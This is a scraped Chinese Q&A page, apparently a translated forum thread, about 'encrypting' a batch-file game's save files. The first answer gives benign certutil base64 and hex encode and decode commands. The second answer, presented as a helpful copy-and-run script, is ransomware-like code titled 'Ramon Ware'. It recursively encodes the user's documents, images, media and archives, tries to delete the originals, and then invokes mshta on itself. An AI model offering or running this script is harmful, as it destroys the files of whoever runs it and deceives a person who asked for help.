加密通过批处理文件制作的文件

问题描述 投票:0回答:2

基本上我的意思是,假设我想制作一个批处理文件游戏,并且我需要批处理来生成保存游戏,例如输出名称如下:“save1.save”,我想以某种方式“加密”它,就像它不可编辑,并且当用户想要编辑保存文件时会显示垃圾字符。因此,批处理文件下次加载保存文件时,它将能够解密它,修改内容,然后再次加密它。我知道我可以更改输出文件扩展名,但它可能不起作用,因为用户仍然可以使用 Windows 的记事本程序查看它。

batch-file
2个回答
2
投票

CERTUTIL
是最简单的方法 - 使用它您可以将文件编码为 BASE64 或 HEX(或两者):

certutil -encodehex save1.save save1.hex
certutil -decodehex save1.hex save1.save

certutil -encode save1.save save1.b64
certutil -decode save1.b64 save1.save

CERTUTIL


0
投票

您可以使用下面的代码。只需将其复制并粘贴到记事本中并将其另存为 .bat 然后运行即可。

@Echo off
mode con:cols=50 lines=2
set pass=SegoCode

Title Ramon Ware

echo Scanning. . . .

for /r %%F in (*.txt, *.doc, *.xlsx, *.jpg, *.mp4, *.mp3, *.mov, *.7z, *.rar, *.zip) do (certutil -encode "%%F" "%%F.enc" del "%%F")

cls
setlocal
for /F "delims=" %%a in ('mshta.exe "%~F0"') do set "HTA=%%a"
© www.soinside.com 2019 - 2024. All rights reserved.